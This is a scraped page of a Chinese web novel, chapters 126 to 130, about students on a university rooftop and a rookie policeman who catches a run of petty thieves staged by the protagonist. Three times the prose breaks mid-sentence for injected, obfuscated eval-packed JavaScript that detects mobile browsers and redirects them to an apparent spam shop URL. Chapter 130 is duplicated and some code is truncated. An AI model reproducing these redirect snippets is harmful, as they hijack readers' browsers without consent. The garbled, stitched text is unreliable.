徐爽坐起来,说:“雪儿手受伤回来没两天,韩学涛就打电话过来约她。要说这里面没什么关联,我才不信。” 这话一说,全寝室的目光又齐刷刷落到展雪身上。 高洋猛地醒悟:“对呀对呀!我怎么就没想到!那天晚上熄灯了你不在,我们都还在担心呢——” 说到这里,她声音突然小了,眼神变得意味深长。 那天晚上展雪可是一夜未归。 第二天回来手上就缠了纱布。 现在韩学涛又打电话找过来。 几个女生目光交碰,谁都没说话,但脑子里已经演完了一整部连续剧。 展雪关掉电吹风,屋子里一下子安静下来。她拿梳子把头发通开,用一根红色发圈扎成马尾,弯腰系好帆布鞋的鞋带。 走到门口,她回头看了一眼满屋子盯着她的眼睛。 “你们接着八卦,想怎么猜就怎么猜。反正都是错的。” 门在身后关上了。 车棚在保卫处值班室旁边,一排铁皮棚子,里面停着几十辆自行车,零零散散几辆摩托车。 韩学涛坐在车棚外的台阶上,手里摆弄着那支盖纳笛,翻来覆去地看。摩托车停在旁边,车把上挂着恰兰戈的盒子。 展雪走过来,先围着摩托车转了一圈,又弯腰看了看车身上的划痕。 “头盔呢?” 韩学涛抬头,愣了一下:“没了。我从派出所领回来就这样。回头我买一个送你。” 展雪没再说什么,目光落在他手里那根笛子上。 “你在摆弄什么东西?” 韩学涛把盖纳笛在手里扬了扬:“骨笛,刚买的。在店里没发现门道,现在越看越觉得有点意思。” 展雪伸手:“送我的?给我看看。” 韩学涛一指摩托车上挂的盒子,“那个大的才是送给你的。” 第126章 天台的小黑 展雪带着韩学涛来到行政主楼。 行政主楼是宁海大学最高的建筑,灰白色墙体,此时天色已经暗了下来,玻璃窗映着天边最后一抹暗蓝。 展雪走在前面,红裙子在楼梯间一转一转的。 “楼上有个大排练室,”她边走边说,“学生会排节目都在那儿。阶梯教室老有人上自习,不方便。” 韩学涛以为她要带自己去排练室。结果路过的时候,展雪只是伸手往紧闭的门上指了一下,脚步没停,继续往上。 楼梯越往上越窄,灯光也暗了。到了顶层,展雪还没停,拐进一条走廊,走到尽头,推开一扇半掩的铁门。门后是一个**台,堆着几捆废电缆和落满灰的旧桌椅。 她绕过那堆杂物,蹲下来,手指扣住地面一个铁环,拉开一块铁板。铁板下面是一架铁梯子,焊在墙上,直通上方。夜风从开口处灌进来,带着些许的凉意。 展雪把裙子下摆掖进腰侧,手抓住铁梯横杆,踩上去,动作熟练,像爬过很多次。 韩学涛跟在后面。铁梯子窄,两个人前后挨着,他抬头能看见她红色的裙摆和帆布鞋的鞋底。铁梯微微晃动,发出吱吱呀呀的声音。 爬到顶,推开另一块铁板,整个人钻出去就到了天台。 天台很大,铺着灰色的防水卷材,踩上去软绵绵的。几根通风管蹲在角落里,还有一座老式的水塔,铁锈在夜色里泛着暗红。四周没有灯,只有头顶一片天。 天已经彻底暗下来,星星挂出来,寥寥几颗,显得很亮。风从天台上刮过去,没有遮挡,呼呼地响。 韩学涛走到围栏边往下看。整个宁海大学铺在脚下——图书馆的方顶,宿舍楼一格一格的灯火,教学楼走廊里还有人走动。篮球场上有几个黑影在摸黑打球,听不见声音,但能感觉到篮板在响。 “这里是学校最高处。”展雪站到他旁边,“我无意中发现的,怎么样?漂亮吧。” 韩学涛看了一眼她的红裙和右手的白纱布,“穿裙子爬铁梯子,不是好选择。” 展雪低头看了看自己的裙子,不以为意:“长裙,而且我穿了安全裤。你看不到的。否则我怎么爬你上面?” “那看来你早有预谋要带我来这儿。”韩学涛说。 “倒不是为了你。”展雪转身往天台另一头走,“来看我一个朋友。” 韩学涛一愣:“嗯?” 他跟着她走过去。 天台角落里,靠着通风管的地方,摆着几个花盆,种的都是仙人掌,刺楞楞地挤在一起。仙人掌中间有一个粉红色塑料盆,盆里趴着一只小乌龟,壳是深褐色带花纹的,脑袋缩着,一动不动。 展雪蹲下来,从裙子口袋里掏出一个小塑料袋,打开,里面装着几片生菜叶。她把菜叶撕成小片,放在塑料盆边沿,然后用手指轻轻敲了敲龟壳。 “小黑,开饭了。开饭了。” 声音很轻,跟平时说话完全不一样。 乌龟慢慢伸出脑袋,抻着脖子转了转,然后慢吞吞爬过去,开始吃了起来。 韩学涛蹲在旁边看,嘴角抽了一下:“你宠物?为什么养这儿?” “寝室不好养。”展雪说,“你们男生可能无所谓,女生那边有人计较。” “养这儿不怕丢?” 展雪看着乌龟吃东西,声音低低地说:“人和人始终都要走散的,不是么?” 韩学涛听得一怔,微微点头:“我看你这个小黑根骨不凡,哪天来了台风,一场大雨,它从这天台出发,一生游遍全世界也说不定。” 展雪有些憧憬:“或许有一天,在大洋彼岸,某个陌生海岸,我又看见它。喊一声小黑,它还会伸长脖子管我要吃的。” “分别相聚,都是一种缘分。”韩学涛说。 喂完乌龟,展雪站起来,拉他到天台边。金属围栏到腰那么高,她翻腿坐上去,把脚伸过围栏,搭在外面悬空。然后脱下帆布鞋,整整齐齐摆在旁边。 韩学涛也在她旁边坐下,脱了鞋,把脚伸出去。两条腿在天台外面晃着,夜风从脚底吹过,十分舒爽。 两个人同时抬头看天。 一颗流星恰巧划过。就那么一下,在夜空里拖了一道细细的光。 “流星!”展雪声音一下子高了,“我还是第一次在这儿看到,快许愿!” 韩学涛闭了一下眼,立刻就睁开了,歪头看她。 展雪双手合在胸前,眼睛闭得紧紧的,嘴唇微微动着,很认真。过了半分钟,流星早就过去了,她才睁开眼,发现韩学涛正盯着自己看。 “你愿望这么短?瞬间就许完了?” “我没许愿。” 展雪一愣:“为什么?你没有想要实现的愿望?” 韩学涛伸个懒腰,换个更舒服的姿势:“我以前听过一个‘抓住流星的尾巴’的传说。晚上看见流星的时候许愿,流星会从你身边随机挑一个人,帮你完成愿望。” 展雪眨了眨眼:“啊?什么意思?” “现在我旁边就你一个,”韩学涛摊手,“流星根本没得选。我许的愿交到你手上,怎么想都觉得希望渺茫。所以干脆保留。” 展雪呆了一下,心里莫名有点失落,但马上又被另一种情绪盖过去。她歪头看着韩学涛:“照你这么说,我许的愿望,岂不是要由你来完成?” 韩学涛敲敲围栏,说:“我前面有好几根围栏挡着。或许流星飞太快,没看见我,也说不定。” 展雪说:“我怎么没听过这种传说?肯定是你瞎掰的。” 韩学涛笑了一下:“信不信随你。” 展雪不干了,侧过身子对着他:“我许愿了,你没许——这不公平!” “那你想怎么样?” 展雪认真想了几秒:“我们交换一个秘密吧。必须是对方不知道的,而且不能超过三个人知道。” “这样啊。”韩学涛靠在围栏上,“你先说。” 展雪沉默片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472536|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小声慢慢说道:“我在学校时间不多了。也许明年,最迟后年,就要转学了。” 韩学涛问她:“转去哪里?” “这是另外一个秘密。”展雪偏头,“现在该你了。” 韩学涛看了她一眼,没追问,伸出手,往楼下一指:“看到那栋楼了吗?” “实验楼?怎么了?” 展雪顺着他手指方向看过去。实验楼,灰白色墙体,一角还有黑乎乎的烟熏痕迹。 “那是我烧的。” 展雪愣住。风从两人之间穿过去,把她的头发吹起来。 过了好几秒,她才反应过来:“你骗人!” 韩学涛收回手:“还是那句话,随你信不信。反正这个交换我问心无愧。” 展雪盯着他看。 韩学涛没再解释,把脚从围栏外面收回来,顺手把那个大盒子拎到手上。 展雪的注意力被盒子拉过去,看了两眼:“尤克里里?我弄坏的是吉他,你就赔我一个这么小的?” “不是尤克里里。”韩学涛把盒子完全拆开,露出里面那把恰兰戈。 展雪果然没见过。她接过去翻来覆去看了看,琴身弧线圆润,背板花纹斑驳,手感比吉他轻得多。 “这叫什么?” 韩学涛说了名字。展雪重复了一遍,发音不太准。 韩学涛说:“我是特困生,送不起你三百块的吉他。这把一百多,你将就玩儿吧。” 展雪接过去,用左手在琴弦上拨了几下。声音清亮,细细的,跟吉他是两种音色。 “怎么弹的?” 韩学涛接过来,把琴抱好,手指搭在品格上。 展雪说:“再来一首梦底?” 韩学涛想了想,摇头:“换一首。送给小黑。” 梦底是他重生之前听的最后一首歌。这一首才是他以前常弹的。 那时候在南美,每次弹起这个调子,脑子里都是一样的画面—— 伊基克,智利北部一个港口城市。那家chifa开在贫民区边上,招牌歪了也没人修,门口贴着褪色的福字。 一场火拼之后,身边的兄弟全没了,他一个人逃出来,身上还带着伤,坐在那家店里,面前摆着一份扬州炒饭。 饭是热的,盘子是裂的。他拿着勺子,塞第一口就想家了。 就在那时候,耳边传来这首歌。 韩学涛弹了起来,手指在琴弦上走,口中轻唱…… “我是只化身孤岛的蓝鲸, 有着最巨大的身影。 鱼虾在身侧穿行, 也有飞鸟在背上停。” 他声音不大,像是只唱给自己听的。 展雪听第一句就愣住了,那种天涯海角的孤独感一下子抓住了她。 “你的衣衫破旧, 而歌声却温柔, 陪我漫无目的地四处漂流。 我的背脊如荒丘, 而你却微笑摆首, 把它当成整个宇宙......” 展雪眼前模糊一片。 第127章 巡逻 “咱们这片辖区,说复杂也复杂,说简单也简单。” 田伟带着马辉从派出所出来,沿着螺塘街一路往东走。 今天是第一次巡逻。 马辉不用吊着胳膊了,但也走不快,田伟也带着他慢悠悠地晃。街上人不多,几家早点铺子收了摊,门口泼了一地水。 田伟背着手,语气像在唠家常,“七个字概括,就是‘两企两校一社会’。” 马辉扭头看他。 “两企,矿务局和第一棉纺厂。两校,宁海师范和卫校。辖区人口主要就集中在这四个地方。矿务局连职工带家属,超过十万。棉一厂少点,也有四万多人。两个学校各几千学生,不用多说。” 马辉点点头。 “人多归人多,倒也省心。”田伟继续说,“两所学校都有自己的保卫处,学校里出什么事儿,人家自己就处理了。” 马辉继续点头,心想自己就是这么被处理退学的。 “棉一厂和矿务局就更不用说了。”田伟笑了笑,“棉一厂有保卫科,还有厂卫队。矿务局更厉害,那简直就是独立王国,人家有自己的**处,级别比咱们派出所还高。有什么事儿,也用不着咱们管。” 马辉听得一愣一愣的:“那……咱们管什么?” “管街面。”田伟伸手往前一指,“就这条螺塘街,还有旁边几条巷子,够咱们转的了。” 他放慢脚步,跟马辉并排走:“矿务局和棉纺厂效益越来越差,好多职工出来搞副业。螺塘街上那些晚上摆摊的,其实都是矿务局和棉纺厂的职工。说白了,做点学生生意,养家糊口。” 他看了马辉一眼:“上次你出警去嚎叫酒吧,里面唱歌跳舞那些,绝大多数也是厂矿子弟。” 马辉没吭声。 田伟放低声音:“我在这边干这么多年,没碰上过什么大警情,不是因为这边治安好。” 马辉等着他往下说。 “是碰上什么事儿,都直接打电话让他们各自单位去办。”田伟看他一眼,“像酒吧那种报警,不是第一次接到。隔三岔五就有——棉纺厂女工多,矿务局男的多,两边离得近,狗屁倒灶的事儿少不了,何况还有女生集中的卫校和师范。报警电话打到我们派出所,主要就是让我们出面协调各自单位,不是真让我们出警办案。” 他拍了拍马辉的肩膀:“棉一厂那边保卫科还客气点。矿务局那边……我们地方派出所是真不敢惹。人家甚至有自己的看守所,蓝白警车都配齐了。” 马辉张了张嘴,想说点什么,又闭上了。 两人拐进一条窄巷子,前面蹲着几个年轻人,穿着矿务局的工作服,裤腿卷到小腿,蹲在墙根底下抽烟。看见田伟过来,其中一个站了起来。 “田哥,遛弯呢?” 田伟笑呵呵地走过去,掏出烟来一人递了一根。 “都给我消停点儿啊。”他一边点烟一边说,脸上笑眯眯的,像在嘱咐小孩,“昨天碰见你们程处长了。嚎叫酒吧那事儿,市局直接打电话给他。老程现在憋着一口气,要抓出头鸟呢。你们可别往他枪口上撞。” 几个年轻人互相看了看,其中一个嘿嘿笑了两声:“田哥,我们哪能啊。我们多老实。” “老实就好。”田伟拍了拍他肩膀,“都回吧,别蹲这儿了,跟一帮门神似的。” 几个年轻人嘻嘻哈哈地散了。 田伟带着马辉继续往前走。出了巷子,螺塘街中段路边支着几个小吃摊,一个卖面条的中年女人正在收拾桌子,看见田伟,笑着招呼:“田哥,吃了吗?” “还没呢。”田伟走过去,回头冲马辉招招手,“来,吃碗面。” 女人手脚麻利地下了两碗面,端上来。面汤清亮,上面飘着几片青菜和一个荷包蛋。 田伟把碗往马辉面前推了推:“吃。” 他自己没急着吃,跟女人聊起来:“最近生意怎么样?” “还行,够糊口。”女人擦着桌子,笑了笑。 “有什么情况就跟我说。”田伟说,“别自己扛着。” 他从随身的包里摸出一小叠试卷,卷成筒,递过去:“试卷给你找来了。二中那边刚考过的模拟题,拿回去给你家小慧试试。” 女人一愣,手在围裙上擦了两下,接过去,翻了两页,一脸地感激:“田哥,这……这怎么谢您……” “谢什么谢。”田伟摆摆手,低头吃面,“孩子学习要紧。” 马辉坐在旁边,端着面碗,看着这一幕,没说话。 面吃完,田伟把钱压在碗底下,站起来,拍了拍裤子。女人追出来要还,田伟已经走出去好几步了。 “小马,看见了吧,这才是我们日常工作。” 田伟带着马辉拐进一条窄巷子,两边是老旧的砖楼,墙上爬着电线,窗户外面支着各式各样的晾衣杆。 这里是棉纺厂的家属宿舍区,楼不高,就四层,墙皮剥落了一大片,露出底下灰扑扑的水泥。 门卫是个五十来岁的老头,姓袁,穿着棉纺厂褪色的蓝色工作服,正坐在门口听收音机。看见田伟过来,他站起来,把收音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472537|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机音量拧小。 “大田,来了?” “嗯,转一圈。”田伟拍了拍身边马辉的肩膀,“老袁,这是我们所新来的,小马。” 老袁上下打量了一眼马辉,点点头。 田伟正要往里走,就在这时,楼上突然炸开一声骂—— “有人偷衣服!” “小兔崽子,你把杆子放下!” 声音从二楼窗口传出来,一个女人的脑袋探在外面,嗓门贼大,整条巷子都听得见。 田伟和老袁同时扭头。 围墙外面,一个戴着瓜皮帽的小个子正举着一根长竹竿,竹竿顶端绑了个铁钩,钩子上挑着一件花衬衫。衣服刚从二楼晾衣杆上勾下来,还在半空中晃荡。那小个子仰着头,正使劲把竹竿往回抽。 田伟简直不敢相信自己的眼睛。这种事常有,可都是趁黑,大白天直接勾衣服的,还真是头一回见。 听见楼上女人的骂声,小个子手一哆嗦,衣服从钩子上掉下来,落在地上。 “站住!别跑!”老袁吼了一声。 那小个子把竹竿往地上一扔,弯腰捡起花衬衫,撒腿就跑。 马辉二话没说就追了出去。 他伤没好利索,跑起来身体不太平衡,不过那小个子跑得也不快,腿一瘸一拐的,比马辉瘸得还厉害——像是右腿有毛病,每跑一步身子就往一边歪。 天残地缺! 两个人一前一后穿过巷子,跑过一条马路,又拐进另一条窄巷。 马辉盯着前面的瓜皮帽,咬着牙,一口气追出去一百多米。 距离越拉越近。那小子回头看了一眼,脚下一扭,整个人往前一栽。马辉趁机扑上去,右手一把薅住他后脖领子。 小个子也不反抗,立刻抱头,缩成一团:“我认栽!认栽!” 过了半分多钟,田伟才气喘吁吁地跑上来。他双手撑着膝盖,弯腰大口喘气,脸憋得通红,嘴里骂骂咧咧:“大白天……偷衣服……**你大爷的……” 喘了好几口,他才直起腰,走过来看了一眼蹲在地上的小偷,又看了一眼马辉。 “怎么不铐上?” 马辉一愣。 田伟从腰后摸出**,蹲下来,利索地把小偷两只手腕铐在一起。铐完了,他站起来,在那小偷屁股上踹了一脚。 “带回所里。” 小偷从地上爬起来,走路一瘸一拐的,右腿拖在地上,比刚才跑的时候还明显。 田伟看着他那条腿,骂了一句:“妈的,就你这腿脚,还敢大白天来勾衣服?脑子也长残了?” 第128章 奇葩天天有 一件衬衫,够不上量刑。 何况那小子腿脚不利索,缩在审讯室里直发抖,问什么都答得驴唇不对马嘴,看着脑子也不太灵光。审了俩小时,翻来覆去就那么几句,实在问不出什么有价值的东西。最后罚了一百块钱,把人放了。 马辉心里有点不甘,不过严所长那边倒是给了句好话。 “小马,年轻气盛,敢打敢冲,勇气可嘉。” 严所长端着茶杯,脸上带笑,“好好跟田哥学,争取早日独当一面。” 马辉挺高兴。 从小到大,他很少被表扬。上学时老师不待见,成绩单拿回去,他妈也不说什么。这回抓了个小毛贼,田哥夸他反应快,所长夸他敢冲。第二天早上跟田哥去棉一厂收发室,老袁大伯也竖了个大拇指。 “小马,第一次巡逻就抓了个贼,行啊。” 马辉嘴上说“应该的应该的”,心里美得冒泡。 出了收发室,跟田哥并排走,忍不住说了一句:“师父,要是每天都能碰到这么个小贼就好了。” 田伟斜了他一眼,笑了:“想什么呢?我从警十几年,才碰上那么一个白天勾衣服的奇葩。你还想天天有?” 马辉嘿嘿了两声。 结果这话说了还没半天,下午就出事了。 螺塘街东头,一个卖馄饨的摊子。 摊主是个四十多岁的阿姨,矿务局职工家属。每天傍晚推个三轮车出来卖馄饨——炉子上支着锅,咕嘟咕嘟冒着热气,旁边纸箱里码着五六块蜂窝煤,够烧一晚上。 田伟和马辉巡到那儿的时候,正好看见一个人蹲在摊子旁边。 那人头上扣着一顶红色毛线帽,趁阿姨转身收拾碗筷的功夫,弯腰从纸箱里掏出两块蜂窝煤,往怀里一搂,转身就走。 他动作娴熟,但阿姨反应也不慢。一回头,看见纸箱缺了一大块,再一抬头,那个红帽子已经走出去好几步了。 “哎——你干嘛的!偷煤的!抓贼啊!” 田伟还没反应过来,马辉已经冲出去了!跑得比昨天还快——毕竟他妈妈就是卖馄饨的,感同身受。 那个戴红帽子的听见身后动静,回头一看,吓得拔腿就跑。 可他抱着蜂窝煤不肯撒手,根本跑不过马辉。跑出去一百多米,那小子一脚踩空,连人带煤摔进路边一条干水沟里。 马辉跟着跳下去,一把揪住他后脖领,膝盖顶住他后背,右手从腰后摸出手铐——这回记住了,咔咔两下,把人铐了个结实。 田伟跑上来的时候,肺都快从嗓子眼里蹦出来了。 他双手撑着膝盖,弯着腰,大口大口地喘气,后背的警服湿透了一大片,贴在肉上。他指着沟里那个被铐住的红帽子,喘了半天,才断断续续骂出一句:“大热天……戴个……红毛线帽……偷蜂窝煤……你他妈……你他妈……” 骂了两句,气没喘上来,又弯下腰去咳。 馄饨摊的阿姨跑过来了,手里拎着两袋冰水,一人塞了一袋。田伟把冰水贴在脑门上,靠着墙根缓了好一会儿,脸色才从猪肝色变回来。 他直起腰,走过去揪住沟里那人的后脖领,一把拽起来。 “带去所里!” 宁海大学门口,红色夏利停在路边,引擎盖被太阳晒得发烫。 韩学涛拉开车门坐进后座,一股热风裹着烟味扑面而来。 包达坐在副驾驶,转过头来,手里夹着半根烟,脸上带着点得意。 “老大,公司地址搞定了。”包达把烟掐灭在车窗外,“龙宫大酒店,宁海站旁边那个。租了三个标间,床搬走了,换了办公桌。” 韩学涛点了点头。这年头这种办公方式正流行——酒店标间自带电话线、中央空调,每天有人打扫。毕竟电话装机费太贵,租酒店房间等于白捡一条电话线。 名片上印着“某某大酒店XXX室”,听起来体面,而且酒店里有餐厅有桑拿,谈生意也方便。 皮包公司、外地驻京办、驻沪办,最集中的就是这种地方。 “小丽打电话过来了,”包达继续说,“第一批方块机很快从粤省发过来,都是按照图纸要求做的,听小丽说,比样品质量还更好点。职介所那边也打好招呼了,随时能送业务员过来。” “你的名片呢?”韩学涛说,“拿一张我看看。” 包达从兜里摸出一张名片,递过来。韩学涛接过去一看——烫金,暗纹,花里胡哨的,跟请柬似的。上面印着:丽达商贸有限公司,包达,副总经理。 韩学涛笑了一下:“还挺谦虚,给自己安排个副总。” 包达嘿嘿了两声:“我妹是法人,肯定是总经理。老大你不要印名片,但在我们心里,你肯定是董事长。” “用不着拍马屁。”韩学涛把名片还给他,“你认真干事,我能看到。螺塘街那边怎么样了?” 包达一听这个,整个人精神了。这是他最熟悉的业务,老本行。 “那边更没问题。”包达语气里带着一股子自信,“刚开始放贼的频率慢一点,一天一个。过两天加快,一天两到三个。一个星期之后,派出所那边应该就有动作了。” 韩学涛看着他:“别不当回事。这件事你亲自盯,一定要做好。该给的钱发下去,不要拖,不要欠。做事别计较那三瓜俩枣,千万不要出纰漏。” 包达收起嬉皮笑脸,正色道:“放心吧,老大。安排几个偷要是我包达还能办呲了,那我提头来见。” “我求财,要你头干什么?”韩学涛靠在座椅上,淡淡地说,“越是自信的事,就越要谨小慎微。淹死的都是会水的,多少厉害的人,最终都败在不起眼的小地方。” 包达点了点头,脸上的得意收了大半:“老大放心吧。上次不是你没在么,我一时空虚,才会跟发廊那婊子搞到一起去的。你看这回我出狱,一次都没找过她。” 韩学涛看了他一眼:“那是你有钱了,觉得发廊老板娘配不上你了。” 包达嘿嘿笑了两声,没敢接话。 “对了,”韩学涛说,“刘骏怎么说的?” “联系上了。”包达转过身,坐正了些,“这小子跑到浙省去了,一个老乡喊他去地下赌场当技术顾问。我跟他说了,他后天应该就能回宁海。” “一点小事,用不着他跑回来一趟吧。” “他想见你。”包达说。 第130章 所长,我是真跑不动了 有钟磊撑着,会议室里再没有一个人多话。 韩学涛把任务一项一项分下去。那些高年级学生脸上多少还挂着点不情愿,但没人再说什么。不过心里不服是肯定的,散会的时候,他们从身边走过,连个招呼都没打。 韩学涛没在意。意料之中的事。 而到了第二次开会,气氛却悄悄变了。 韩学涛刚问起工作进度,几个老生就主动冲他笑了。 “交给我就行了,小韩你放心。” “我这边绝对没问题。企业见面会少去一两次都无所谓的。” 韩学涛微微一怔,随即点了点头,没多说什么。他把当天的工作安排讲了一遍——没人顶嘴,没人阴阳怪气,该领的活都领了,该问的问题也问了。效率比第一次高出整整一大截。 散会后,钟磊找到他,语气依旧不紧不慢:“周海鹏去找卢主任了。卢主任已经把他撤出来了。现在这个项目就我们两个负责。师弟,你多费点心。” 韩学涛明白了。 难怪那些老生的态度转得这么快,原来是**鸡儆猴吓到了。 这位大师兄人不可貌相,看着像个技术宅,没想到做事这么强势干脆,感觉他能当卢主任一半的家。 不过,韩学涛转念一想,这样也好。有这么一位大师兄在后面顶着,确实省了不少事。至于那些笑脸是真心还是假意,反倒不那么重要了。 学校这边的准备工作很快就做完了。设备陆续进场,人员分工到位,下一步就是去测绘局。 韩学涛把日历翻到下一页,在心里默默算了算时间。 另一边,螺塘派出所。 田伟被叫进了严所长的办公室。 严所长坐在办公桌后面,手里捏着几页纸,脸上的表情像中了注不大不小的奖。 “老田,最近你们表现不错嘛。”他把手里的材料晃了晃,“看到没有?我准备向局里给你们申请表彰了。” 田伟一听,脸都白了,连忙摆手:“别别别!所长,这都是小马的功劳,千万别算我头上!” 严所长往椅背上一靠:“你这也太谦虚了。你是师傅,小马是徒弟,当师傅的怎么能没有功劳呢?” 田伟苦着脸,往前探了探身子,试探着说:“所长,要不……你给小马换个师傅?我这一把年纪了,是真跑不动了呀!” 说完,他在心里叹了口气—— 他是真跑不动了。从警十几年,加在一块儿的运动量,都没有这一周大。 大白天的,哪来这么多小偷小摸? 勾衣服的、偷蜂窝煤的、偷自行车的、偷老头收音机的、割学生书包的…… 全是些奇葩! 老头正听得好好的,收音机突然没了,这能不被人发现吗? 还有割学生书包的——你割学生书包能偷到什么?偷人家文具盒吗? 这些贼,脑子是不是都有坑! 可小偷小摸就发生在眼皮子底下,作为警察又不能眼睁睁看着不管。 抓到所里去,过不了几个小时就得放人。这种案值,连拘留都嫌浪费地方。 也罢,罚个一两百块,也算是给所里创收了。 问题是频率太离谱了——刚开始一天一次,后来一天两次,再后来一天四次。 最夸张的是昨天下午,两个小时就碰见了四个。 马辉这小子! 碰见一个就冲出去,碰见一个就冲出去。 他当师傅的,又不能不管,只好跟在后面跑——万一这小子出点什么事怎么办? 昨天下午那四个,他是真跑不动了。 追完第三个的时候,腿已经开始打颤,嗓子眼里像塞了团棉花,喘气都带着哨音。第四个从螺塘街东头窜出来的时候,他站在路边,两只手撑着膝盖,眼睁睁看着马辉冲出去,嘴巴张了张,喊了一声“小马”,那声音连他自己都没听见。 最后马辉抓完人回来,叫了所里的车,把四个**贼一股脑全装进去。田伟靠着墙根坐下,后背贴着冰凉的砖墙,脸色白得跟**似的。 马辉蹲在他面前,急得声音都变了:“师傅!师傅!” 灌水、掐人中,折腾了十几分钟,田伟才把胸口那口气喘匀。他靠在墙上,望着头顶灰蒙蒙的天,开口第一句话就是:“小马,师傅实在是追不动了。再追一次,师傅就得进ICU了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475186|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >严所长听完田伟这番诉苦,看了他一眼,表情里带着几分恨铁不成钢。 “老田,你干了十几年,在基层不容易。碰到一个好徒弟,要抓紧。当师傅的怎么还撂挑子呢?” 小马是谁安排到螺塘派出所的?新上任的付局长。这种有背景的徒弟,你不抓住,还往外推?难怪一辈子上不去。 “所长,你不觉得奇怪吗?”田伟说,“以前咱们辖区虽然也有小偷小摸,但基本都发生在晚上。大白天冒出这么多,这很不正常啊。” 严所长拿起茶杯,不紧不慢地喝了一口:“所以才要上报总局,更加引起重视嘛。” 他放下茶杯,手指在桌面上点了点:“我判断,这很可能是一个有组织有预谋的小偷团伙,采取大规模、小案值的方式作案,来试探我们的警力。如果我们一疏忽,群众的财产安全就可能遭到重大威胁!” 田伟愣愣地看着他。 严所长心想:我能不知道事情不正常吗?付局长新上任,把马辉放到螺塘,然后突然冒出这么多小偷小摸,全在马辉眼皮子底下发生、全被他抓住——这种事情,只要脑子不瞎,就知道该怎么做了吧? 肯定是要向领导报告马辉取得的成绩,顺便也给所里捞点好处。 难道还要故意把领导的事挑明,显得你多能耐似的?这个老田,脑子怎么就是转不过弯来? 说实在的,要不是看在田伟的哥哥跟他是高中同学、田伟算是自己人的份上,他都想给马辉换个师傅了。 严所长一拍桌子。 “老田,这种时候你可不能撂挑子。”他语气硬了起来,“我打算跟领导请示一下,再给你们要几个人,成立一个反扒小组。你来当组长。” 田伟急了:“所长,反扒我也不在行啊。要不你换个人吧?” “就这么定了。”严所长站起来,“警务工作是让你讨价还价的吗?你现在给人家当师傅,就得做出表率。你自己跑不动了,就让小马多干些工作嘛。” 他绕过桌子,走到田伟面前,语重心长地说:“机不可失,失不再来。我话都说到这个份上了,你回去好好想想。” 第130章 所长,我是真跑不动了 有钟磊撑着,会议室里再没有一个人多话。 韩学涛把任务一项一项分下去。那些高年级学生脸上多少还挂着点不情愿,但没人再说什么。不过心里不服是肯定的,散会的时候,他们从身边走过,连个招呼都没打。 韩学涛没在意。意料之中的事。 而到了第二次开会,气氛却悄悄变了。 韩学涛刚问起工作进度,几个老生就主动冲他笑了。 “交给我就行了,小韩你放心。” “我这边绝对没问题。企业见面会少去一两次都无所谓的。” 韩学涛微微一怔,随即点了点头,没多说什么。他把当天的工作安排讲了一遍——没人顶嘴,没人阴阳怪气,该领的活都领了,该问的问题也问了。效率比第一次高出整整一大截。 散会后,钟磊找到他,语气依旧不紧不慢:“周海鹏去找卢主任了。卢主任已经把他撤出来了。现在这个项目就我们两个负责。师弟,你多费点心。” 韩学涛明白了。 难怪那些老生的态度转得这么快,原来是**鸡儆猴吓到了。 这位大师兄人不可貌相,看着像个技术宅,没想到做事这么强势干脆,感觉他能当卢主任一半的家。 不过,韩学涛转念一想,这样也好。有这么一位大师兄在后面顶着,确实省了不少事。至于那些笑脸是真心还是假意,反倒不那么重要了。 学校这边的准备工作很快就做完了。设备陆续进场,人员分工到位,下一步就是去测绘局。 韩学涛把日历翻到下一页,在心里默默算了算时间。 另一边,螺塘派出所。 田伟被叫进了严所长的办公室。 严所长坐在办公桌后面,手里捏着几页纸,脸上的表情像中了注不大不小的奖。 “老田,最近你们表现不错嘛。”他把手里的材料晃了晃,“看到没有?我准备向局里给你们申请表彰了。” 田伟一听,脸都白了,连忙摆手:“别别别!所长,这都是小马的功劳,千万别算我头上!” 严所长往椅背上一靠:“你这也太谦虚了。你是师傅,小马是徒弟,当师傅的怎么能没有功劳呢?” 田伟苦着脸,往前探了探身子,试探着说:“所长,要不……你给小马换个师傅?我这一把年纪了,是真跑不动了呀!” 说完,他在心里叹了口气—— 他是真跑不动了。从警十几年,加在一块儿的运动量,都没有这一周大。 大白天的,哪来这么多小偷小摸? 勾衣服的、偷蜂窝煤的、偷自行车的、偷老头收音机的、割学生书包的…… 全是些奇葩! 老头正听得好好的,收音机突然没了,这能不被人发现吗? 还有割学生书包的——你割学生书包能偷到什么?偷人家文具盒吗? 这些贼,脑子是不是都有坑! 可小偷小摸就发生在眼皮子底下,作为警察又不能眼睁睁看着不管。 抓到所里去,过不了几个小时就得放人。这种案值,连拘留都嫌浪费地方。 也罢,罚个一两百块,也算是给所里创收了。 